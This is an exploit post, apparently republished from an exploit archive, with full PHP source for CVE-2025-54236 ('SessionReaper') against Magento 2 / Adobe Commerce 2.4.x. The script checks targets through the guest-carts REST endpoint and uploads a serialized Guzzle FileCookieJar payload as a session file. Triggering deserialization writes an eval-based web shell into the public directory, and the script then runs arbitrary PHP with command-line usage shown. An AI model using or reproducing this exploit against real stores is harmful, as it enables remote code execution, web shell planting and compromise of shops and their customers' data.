Magento 2 / Adobe Commerce 2.4.x SessionReaper
Magento 2 / Adobe Commerce 2.4.x SessionReaper
Magento 2 / Adobe Commerce 2.4.x SessionReaper

=============================================================================================================================================
| # Title Magento 2 / Adobe Commerce 2.4.x SessionReaper

=============================================================================================================================================
| # Title : Magento 2 / Adobe Commerce 2.4.x SessionReaper Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://community.magento.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212729/ & CVE-2025-54236

[+] Summary : This PHP script is a proof?of?concept exploit targeting Magento for CVE?2025?54236, commonly referred to as SessionReaper.
It is a PHP port of an original Metasploit module and is designed for security testing.

[+] What it does (high level):

Generates random identifiers (session ID, filenames, parameters) to avoid collisions.

Checks whether a Magento target appears vulnerable by sending crafted REST API requests and analyzing HTTP responses (400/404/500 patterns).

If vulnerable, abuses PHP object deserialization via Magento?s REST endpoint to manipulate the session save path.

Uploads a malicious session file using a file upload endpoint.

Triggers deserialization to write a PHP file into a web?accessible location.

Executes a supplied PHP payload by POSTing base64?encoded data to the dropped file.

Uses cURL for all HTTP interactions and handles multipart/form?data manually.

[+] Key components:

check() ? determines vulnerability based on response behavior.

exploit() ? performs the full exploit chain and executes a payload.

Guzzle/FW1 object serialization ? used to craft the malicious session content.

Randomization helpers ? generate IDs, filenames, and parameters.

CLI usage ? allows running the script from the command line with a target URL and optional payload.

[+] PoC :

# For testing only

php magento_exploit.php https://target.com/

# For execution with a custom payload

php magento_exploit.php https://target.com/ 'echo "Vulnerable!";'

<?php

class MagentoSessionReaperExploit
{
private $targetUrl;
private $sessionId;
private $sessionFilename;
private $exploitFilename;
private $postParam;
private $formKey;

public function __construct($targetUrl)
{
$this->targetUrl = rtrim($targetUrl, '/');
$this->sessionId = $this->generateRandomHex(32);
$this->sessionFilename = "sess_{$this->sessionId}";
$this->exploitFilename = $this->generateRandomAlphanumeric(4, 8) . ".php";
$this->postParam = $this->generateRandomAlphanumeric(4, 8);
$this->formKey = $this->generateRandomAlphanumeric(8, 12);
}

public function check()
{
$randomPath = $this->generateRandomAlphanumeric(4, 8) . '/' .
$this->generateRandomAlphanumeric(4, 8) . '/' .
$this->generateRandomAlphanumeric(4, 8);

$cartId = $this->generateRandomAlphanumeric(4, 8);
$payload = $this->buildDeserializationPayload($randomPath);

$url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json'
]);

if (!$response) {
return ['status' => 'unknown', 'message' => 'No response from target'];
}

$httpCode = $response['http_code'];
$body = strtolower($response['body']);

switch ($httpCode) {
case 400:
return ['status' => 'safe', 'message' => 'Target is patched (returns 400 Bad Request)'];

case 404:
if ($this->check404Response($body)) {
return ['status' => 'vulnerable', 'message' => 'Target returned 404 with expected error pattern'];
}
break;

case 500:
if ($this->check500Response($body)) {
return ['status' => 'vulnerable', 'message' => 'Target returned 500 error with SessionHandler'];
}
break;
}

return ['status' => 'unknown', 'message' => "Unexpected HTTP status: {$httpCode}"];
}

public function exploit($phpPayload)
{
echo "[*] Generating Guzzle/FW1 deserialization payload...\n";

$phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";

$guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);

echo "[*] Uploading session file with Guzzle payload...\n";

$uploadedPath = $this->uploadSessionFile($guzzlePayload);
if (!$uploadedPath) {
return ['success' => false, 'message' => 'Failed to upload session file'];
}

$savePath = "media/customer_address" . dirname($uploadedPath);

echo "[*] Triggering deserialization...\n";

if (!$this->triggerDeserialization($savePath)) {
return ['success' => false, 'message' => 'Failed to trigger deserialization'];
}

echo "[*] Executing payload...\n";

$encodedPayload = base64_encode($phpPayload);
$executeUrl = $this->targetUrl . "/pub/{$this->exploitFilename}";

$response = $this->sendRequest($executeUrl, 'POST',
http_build_query([$this->postParam => $encodedPayload]),
['Content-Type: application/x-www-form-urlencoded']
);

if ($response && $response['http_code'] == 200) {
echo "[+] Payload executed successfully!\n";
echo "[+] Response: " . substr($response['body'], 0, 500) . "...\n";

return [
'success' => true,
'message' => 'Exploit completed',
'session_id' => $this->sessionId,
'exploit_file' => $this->exploitFilename,
'post_param' => $this->postParam
];
}

return ['success' => false, 'message' => 'Payload execution failed'];
}
private function check404Response($body)
{
if (strpos($body, 'no such entity') === false) {
return false;
}

return (strpos($body, 'cartid') !== false) ||
(strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false);
}
private function check500Response($body)
{
if (strpos($body, '500 internal server error') !== false &&
strpos($body, 'sessionhandler') === false) {
return false;
}

return (strpos($body, 'sessionhandler::read') !== false) ||
(strpos($body, 'no such file or directory') !== false &&
strpos($body, 'session') !== false) ||
(strpos($body, 'webapi-') !== false);
}

private function sessionSaveDirFromFilename($filename)
{
return $filename[0] . '/' . $filename[1];
}

private function uploadSessionFile($content)
{
$filename = $this->sessionFilename;
echo "[*] Uploading malicious session file: {$filename}\n";

// Create multipart form data
$boundary = '----' . md5(microtime());
$eol = "\r\n";

$data = "--{$boundary}{$eol}";
$data .= "Content-Disposition: form-data; name=\"form_key\"{$eol}{$eol}";
$data .= "{$this->formKey}{$eol}";

$data .= "--{$boundary}{$eol}";
$data .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"{$eol}";
$data .= "Content-Type: application/octet-stream{$eol}{$eol}";
$data .= "{$content}{$eol}";
$data .= "--{$boundary}--{$eol}";

$url = $this->targetUrl . "/customer/address_file/upload";

$response = $this->sendRequest($url, 'POST', $data, [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Cookie: form_key={$this->formKey}"
]);

if (!$response || $response['http_code'] != 200) {
echo "[-] Upload failed with HTTP code: " . ($response['http_code'] ?? 'No response') . "\n";
return false;
}

// Parse JSON response
$json = json_decode($response['body'], true);

if (isset($json['error']) && $json['error'] != 0) {
echo "[-] Upload failed: {$json['error']}\n";
return false;
}

if (isset($json['file'])) {
return $json['file'];
}

// Default path
$saveDir = $this->sessionSaveDirFromFilename($filename);
return "/{$saveDir}/{$filename}";
}

private function buildDeserializationPayload($savePath)
{
$payload = [
'paymentMethod' => [
'paymentData' => [
'context' => [
'urlBuilder' => [
'session' => [
'sessionConfig' => [
'savePath' => $savePath
]
]
]
]
]
]
];

return json_encode($payload);
}

private function triggerDeserialization($savePath)
{
$cartId = $this->generateRandomAlphanumeric(4, 8);
$payload = $this->buildDeserializationPayload($savePath);

$url = $this->targetUrl . "/rest/default/V1/guest-carts/{$cartId}/order";

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json',
"Cookie: PHPSESSID={$this->sessionId}"
]);

if (!$response) {
return false;
}

return in_array($response['http_code'], [404, 500]);
}

private function serializeStringAscii($str)
{
$result = '';
$length = strlen($str);

for ($i = 0; $i < $length; $i++) {
$byte = ord($str[$i]);

// Keep printable ASCII except backslash and double quote
if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
$result .= $str[$i];
} else {
// Escape as \xHH
$result .= sprintf("\\x%02x", $byte);
}
}

return "S:{$length}:\"{$result}\";";
}

private function buildGuzzleFw1Payload($targetFile, $phpContent)
{
$escaped = "{$phpContent}\n";

$setCookieData = "a:3:{" .
$this->serializeStringAscii('Expires') . "i:1;" .
$this->serializeStringAscii('Discard') . "b:0;" .
$this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
"}";

$setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
"{" . $this->serializeStringAscii('data') . $setCookieData . "}";

$cookiesArray = "a:1:{i:0;{$setCookie}}";

$fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
"{" . $this->serializeStringAscii('cookies') . $cookiesArray .
$this->serializeStringAscii('strictMode') . "N;" .
$this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
$this->serializeStringAscii('storeSessionCookies') . "b:1;}";

return "_|{$fileCookieJar}";
}

private function sendRequest($url, $method, $data = null, $headers = [])
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

if ($data !== null) {
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}

if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}

$body = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);

curl_close($ch);

if ($error && !$body) {
echo "[-] cURL error: {$error}\n";
return false;
}

return [
'http_code' => $httpCode,
'body' => $body,
'error' => $error
];
}


private function generateRandomHex($length)
{
$bytes = random_bytes($length / 2);
return bin2hex($bytes);
}

private function generateRandomAlphanumeric($min, $max)
{
$length = random_int($min, $max);
$chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$result = '';

for ($i = 0; $i < $length; $i++) {
$result .= $chars[random_int(0, strlen($chars) - 1)];
}

return $result;
}
}

if (php_sapi_name() === 'cli') {
if ($argc < 2) {
echo "Usage: php " . basename(__FILE__) . " <target_url> [payload]\n";
echo "Example: php " . basename(__FILE__) . " https://target.com/ 'system(\"id\");'\n";
exit(1);
}

$targetUrl = $argv[1];
$payload = $argv[2] ?? 'echo "Exploit successful!";';

$exploit = new MagentoSessionReaperExploit($targetUrl);

echo "[*] Checking target: {$targetUrl}\n";
$checkResult = $exploit->check();

echo "[*] Check result: {$checkResult['status']} - {$checkResult['message']}\n";

if ($checkResult['status'] === 'vulnerable') {
echo "[*] Target appears vulnerable. Proceeding with exploit...\n";
$result = $exploit->exploit($payload);

if ($result['success']) {
echo "[+] Exploit successful!\n";
echo "[+] Session ID: {$result['session_id']}\n";
echo "[+] Exploit file: {$result['exploit_file']}\n";
echo "[+] POST parameter: {$result['post_param']}\n";
} else {
echo "[-] Exploit failed: {$result['message']}\n";
}
} else {
echo "[-] Target does not appear vulnerable or check failed\n";
}
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.